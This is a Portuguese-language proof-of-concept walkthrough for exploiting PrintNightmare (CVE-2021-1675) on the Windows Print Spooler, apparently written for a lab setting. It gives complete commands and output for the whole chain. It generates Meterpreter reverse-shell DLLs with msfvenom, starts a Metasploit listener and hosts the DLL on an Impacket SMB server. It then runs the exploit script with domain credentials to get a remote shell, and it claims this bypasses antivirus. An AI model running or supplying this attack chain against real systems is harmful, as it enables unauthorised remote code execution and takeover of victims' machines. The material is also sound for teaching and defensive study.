
Exploit de prova de conceito para CVE-2021-1675 (PrintNightmare) direcionado ao Windows Print Spooler. Usa DLL maliciosa gerada por msfvenom entregue via SMB para alcançar execução remota de código e reverse shell Meterpreter.
O Spooler de Impressão é um serviço do Windows que gerencia filas de impressão. Ele recebe trabalhos enviados pelo usuário, converte-os para um formato que a impressora entende e os envia quando a impressora está disponível. Ele é executado como um serviço do sistema (spoolsv.exe) com privilégios elevados, tornando-o um alvo frequente de ataques, como a vulnerabilidade PrintNightmare.
Quando um atacante tenta explorar o spooler de impressão remotamente, para verificar se um host é vulnerável à falha printnightmare, poderíamos usar uma ferramenta chamada rpcdump.py que faz parte do pacote impacket, um conjunto de ferramentas amplamente utilizado no ambiente de pentest.
❯ rpcdump.py @10.10.188.66 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Para explorar esta vulnerabilidade, o método de distribuição deste exploit é uma DLL maliciosa. Este método, também conhecido como exploração "fileless" (sem arquivo), permite contornar a maioria das proteções do sistema, como softwares antivírus. Neste ataque, vamos enganar o serviço de spooler de impressão para que ele instale um novo driver a partir de um caminho UNC e o carregue. No nosso caso, essa é a DLL maliciosa, que nos forneceria um reverse shell para o computador do atacante. Para criar a DLL maliciosa, usarei o "msfvenom" e, dependendo da arquitetura em que estamos, integraremos um payload Windows x64 ou x86 na DLL, fornecendo o host local e a porta local, onde iniciaremos um listener para um callback da DLL. Você pode encontrar o endereço IP da sua máquina digitando "ifconfig". Usaremos o seguinte comando para criar nossa DLL maliciosa.
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
E se, em outro caso, a nossa arquitetura fosse de 32 bits, usaríamos este payload
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
Agora que criamos nossa DLL maliciosa, em seguida temos que iniciar nosso Listener no “Metasploit Framework” para obter o shell ‘Meterpreter’ de volta quando a DLL for executada no sistema. Para iniciar o Listener, siga os passos abaixo. No final, digite 'exploit -j' para iniciar o listener em segundo plano.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:443
Agora que iniciamos nosso receptor, iniciamos nosso servidor SMB para hospedar o arquivo DLL malicioso. Vá até o caminho do sistema onde salvamos o arquivo DLL e digite o seguinte comando para iniciar o servidor SMB. Antes de fazer isso, certifique-se de ter o "Impacket" instalado no seu computador. O Impacket é uma coleção de módulos de código aberto escritos em Python, e um deles é o smbserver.py, que é o que vamos usar neste caso. Para iniciar o script "smbserver.py" e hospedar o arquivo DLL malicioso, digite o seguinte comando no diretório onde o salvamos, no meu caso /home/ghost/Pentesting/Printer/.
❯ smbserver.py share . -smb2support
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Ótimo, agora estamos preparados para iniciar o processo de exploração usando a prova de conceito (POC) CVE-2021–1675. Para isso, fornecemos o controlador de domínio e as credenciais do usuário com o caminho UNC para a DLL maliciosa hospedada em nosso sistema.
❯ python3 CVE-2021-1675.py NetworkAD-EDU.ENGdepartment.local/jjsmith:[email protected] '\\\\10.10.10.10\\share\\PrintMalicious_x64.dll'
[*] Connecting to ncacn_np:10.10.220.93[\\PIPE\\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL
[*] Executing \\??\\UNC\\10.10.10.10\\share\\PrintMalicious_x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
Após alguns segundos executando o script do exploit, se voltarmos ao listener que iniciamos no 'Metasploit', ele mostra que abriu uma sessão 'Meterpreter', então podemos agora interagir com a máquina vítima usando o 'Meterpreter shell'.